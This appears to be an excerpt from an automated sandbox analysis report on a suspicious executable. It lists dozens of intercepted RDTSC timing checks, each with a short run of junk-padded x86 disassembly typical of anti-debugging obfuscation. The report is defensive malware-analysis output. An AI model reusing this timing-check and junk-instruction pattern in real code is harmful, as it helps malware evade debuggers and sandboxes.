Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 492013E second address: 49201DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F7AB12EBC8Ah 0x00000012 sub ecx, 40B11868h 0x00000018 jmp 00007F7AB12EBC8Bh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F7AB12EBC98h 0x00000024 sbb cl, FFFFFFC8h 0x00000027 jmp 00007F7AB12EBC8Bh 0x0000002c popfd 0x0000002d popad 0x0000002e pushfd 0x0000002f jmp 00007F7AB12EBC98h 0x00000034 sub eax, 6CE96D28h 0x0000003a jmp 00007F7AB12EBC8Bh 0x0000003f popfd 0x00000040 popad 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F7AB12EBC94h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49201DF second address: 49201E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49201E5 second address: 49201E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49201E9 second address: 49202A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007F7AB0FF7769h 0x0000000e xchg eax, ebx 0x0000000f jmp 00007F7AB0FF775Eh 0x00000014 push eax 0x00000015 pushad 0x00000016 push eax 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a popad 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F7AB0FF7762h 0x00000023 add cx, 1F78h 0x00000028 jmp 00007F7AB0FF775Bh 0x0000002d popfd 0x0000002e pushfd 0x0000002f jmp 00007F7AB0FF7768h 0x00000034 xor esi, 002CB9D8h 0x0000003a jmp 00007F7AB0FF775Bh 0x0000003f popfd 0x00000040 popad 0x00000041 mov ebx, dword ptr [ebp+10h] 0x00000044 pushad 0x00000045 mov esi, 090CCEABh 0x0000004a pushfd 0x0000004b jmp 00007F7AB0FF7760h 0x00000050 and ax, 0438h 0x00000055 jmp 00007F7AB0FF775Bh 0x0000005a popfd 0x0000005b popad 0x0000005c xchg eax, esi 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 mov bx, 6CB2h 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49202A8 second address: 49202FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7AB12EBC96h 0x00000009 sbb esi, 49D83DC8h 0x0000000f jmp 00007F7AB12EBC8Bh 0x00000014 popfd 0x00000015 mov di, ax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push esi 0x00000020 pop edx 0x00000021 pushfd 0x00000022 jmp 00007F7AB12EBC8Ah 0x00000027 sbb ax, 4028h 0x0000002c jmp 00007F7AB12EBC8Bh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49202FD second address: 4920362 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, A6CAh 0x00000007 movsx ebx, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e pushad 0x0000000f mov dx, cx 0x00000012 push ecx 0x00000013 mov ecx, ebx 0x00000015 pop edx 0x00000016 popad 0x00000017 mov esi, dword ptr [ebp+08h] 0x0000001a jmp 00007F7AB0FF775Ah 0x0000001f xchg eax, edi 0x00000020 pushad 0x00000021 push eax 0x00000022 pop edi 0x00000023 jmp 00007F7AB0FF7766h 0x00000028 popad 0x00000029 push eax 0x0000002a pushad 0x0000002b pushad 0x0000002c mov bx, E3E2h 0x00000030 call 00007F7AB0FF7763h 0x00000035 pop esi 0x00000036 popad 0x00000037 mov ecx, ebx 0x00000039 popad 0x0000003a xchg eax, edi 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4920362 second address: 492037E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 492037E second address: 4920384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4920384 second address: 49203A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7AB12EBC94h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49203A4 second address: 49203AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49203AA second address: 49203AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49203AE second address: 49203B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49203B2 second address: 49203CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F7B238F9EE1h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7AB12EBC8Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49203CF second address: 49203D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49203D5 second address: 49203FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7AB12EBC92h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 mov ax, BF99h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49203FD second address: 492042E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F7AB0FF7766h 0x00000008 xor eax, 510F1328h 0x0000000e jmp 00007F7AB0FF775Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 mov edx, eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 492042E second address: 4920454 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a je 00007F7B238F9E6Ch 0x00000010 pushad 0x00000011 push ecx 0x00000012 mov dl, 3Dh 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4920454 second address: 4920458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4920458 second address: 492048A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov edx, dword ptr [esi+44h] 0x0000000d jmp 00007F7AB12EBC96h 0x00000012 or edx, dword ptr [ebp+0Ch] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov eax, edx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 492048A second address: 49204D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7762h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edx, 61000000h 0x0000000f jmp 00007F7AB0FF7760h 0x00000014 jne 00007F7B23605928h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F7AB0FF7767h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49204D5 second address: 49204DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49204DB second address: 4920525 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF775Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test byte ptr [esi+48h], 00000001h 0x0000000f jmp 00007F7AB0FF7766h 0x00000014 jne 00007F7B236058F1h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F7AB0FF7767h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49107FB second address: 4910836 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F7AB12EBC97h 0x0000000d jmp 00007F7AB12EBC93h 0x00000012 popfd 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910836 second address: 491083C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491083C second address: 4910841 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910841 second address: 491085C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7AB0FF7761h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491085C second address: 49108A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 pushfd 0x00000006 jmp 00007F7AB12EBC93h 0x0000000b sbb cx, 5CCEh 0x00000010 jmp 00007F7AB12EBC99h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F7AB12EBC8Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49108A8 second address: 49108CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7761h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7AB0FF775Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49108CF second address: 491090C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F7AB12EBC8Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 push esi 0x00000012 mov si, dx 0x00000015 pop ebx 0x00000016 popad 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F7AB12EBC8Ch 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491090C second address: 491091B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF775Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491091B second address: 491094E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F7AB12EBC8Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491094E second address: 4910952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910952 second address: 4910956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910956 second address: 491095C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491095C second address: 49109BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7AB12EBC95h 0x00000009 adc ecx, 15B7EE96h 0x0000000f jmp 00007F7AB12EBC91h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F7AB12EBC90h 0x0000001b adc esi, 6924AEB8h 0x00000021 jmp 00007F7AB12EBC8Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a xchg eax, esi 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49109BA second address: 49109C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49109C0 second address: 4910A04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 49DFh 0x00000007 mov edi, ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov esi, dword ptr [ebp+08h] 0x0000000f jmp 00007F7AB12EBC8Eh 0x00000014 sub ebx, ebx 0x00000016 pushad 0x00000017 push edi 0x00000018 mov cx, 1119h 0x0000001c pop esi 0x0000001d mov dx, B1EAh 0x00000021 popad 0x00000022 test esi, esi 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F7AB12EBC93h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910A04 second address: 4910A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910A08 second address: 4910A0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910A0E second address: 4910A14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910A14 second address: 4910A4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F7B239015ECh 0x00000011 jmp 00007F7AB12EBC90h 0x00000016 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910A4B second address: 4910A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910A4F second address: 4910A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910A53 second address: 4910A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910A59 second address: 4910A7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ax, di 0x00000011 mov eax, ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910A7C second address: 4910A82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910A82 second address: 4910AE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F7B2390159Fh 0x0000000e pushad 0x0000000f mov eax, 4CD17955h 0x00000014 pushfd 0x00000015 jmp 00007F7AB12EBC92h 0x0000001a xor ah, 00000028h 0x0000001d jmp 00007F7AB12EBC8Bh 0x00000022 popfd 0x00000023 popad 0x00000024 test byte ptr [76FB6968h], 00000002h 0x0000002b pushad 0x0000002c mov bx, ax 0x0000002f movzx eax, dx 0x00000032 popad 0x00000033 jne 00007F7B23901574h 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F7AB12EBC95h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910AE7 second address: 4910AEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910AEB second address: 4910AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910AF1 second address: 4910B52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF775Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007F7AB0FF7760h 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F7AB0FF775Ch 0x0000001a xor al, 00000048h 0x0000001d jmp 00007F7AB0FF775Bh 0x00000022 popfd 0x00000023 push ecx 0x00000024 pop edx 0x00000025 popad 0x00000026 mov di, cx 0x00000029 popad 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F7AB0FF7763h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910B52 second address: 4910B6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910B6F second address: 4910B74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910B74 second address: 4910C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 28341820h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebx 0x0000000d jmp 00007F7AB12EBC8Fh 0x00000012 xchg eax, ebx 0x00000013 jmp 00007F7AB12EBC96h 0x00000018 push eax 0x00000019 jmp 00007F7AB12EBC8Bh 0x0000001e xchg eax, ebx 0x0000001f jmp 00007F7AB12EBC96h 0x00000024 push dword ptr [ebp+14h] 0x00000027 jmp 00007F7AB12EBC90h 0x0000002c push dword ptr [ebp+10h] 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F7AB12EBC8Dh 0x00000038 or ax, 8496h 0x0000003d jmp 00007F7AB12EBC91h 0x00000042 popfd 0x00000043 call 00007F7AB12EBC90h 0x00000048 pop eax 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910C1A second address: 4910C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910C32 second address: 4910C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bh, CEh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4920EC3 second address: 4920F03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF775Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F7AB0FF775Bh 0x00000013 adc ecx, 231CAA9Eh 0x00000019 jmp 00007F7AB0FF7769h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4920C59 second address: 4920C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bh, F2h 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4920C60 second address: 4920C66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4920C66 second address: 4920C6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4920C6A second address: 4920C6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4920C6E second address: 4920C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F7AB12EBC8Bh 0x00000011 jmp 00007F7AB12EBC98h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4920C9E second address: 4920CFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7AB0FF7761h 0x00000008 pushfd 0x00000009 jmp 00007F7AB0FF7760h 0x0000000e sbb ecx, 06C2D5C8h 0x00000014 jmp 00007F7AB0FF775Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov dword ptr [esp], ebp 0x00000020 jmp 00007F7AB0FF7766h 0x00000025 mov ebp, esp 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a mov ax, 93C3h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49A0779 second address: 49A0789 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7AB12EBC8Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49A0789 second address: 49A07C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F7AB0FF775Eh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F7AB0FF7760h 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F7AB0FF775Ch 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49A07C2 second address: 49A07CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov ebx, ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 499094F second address: 4990955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4990955 second address: 4990959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4990959 second address: 499095D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 499095D second address: 49909B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F7AB12EBC91h 0x00000012 sub eax, 01C12826h 0x00000018 jmp 00007F7AB12EBC91h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F7AB12EBC90h 0x00000024 or cx, 11C8h 0x00000029 jmp 00007F7AB12EBC8Bh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49909B6 second address: 49909CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7AB0FF7764h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49909CE second address: 49909D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49909D2 second address: 4990A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F7AB0FF7767h 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 push esi 0x00000014 pop edx 0x00000015 jmp 00007F7AB0FF775Ch 0x0000001a popad 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 pushfd 0x00000022 jmp 00007F7AB0FF7763h 0x00000027 sub ax, 8B7Eh 0x0000002c jmp 00007F7AB0FF7769h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4990A40 second address: 4990A46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4990A46 second address: 4990A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
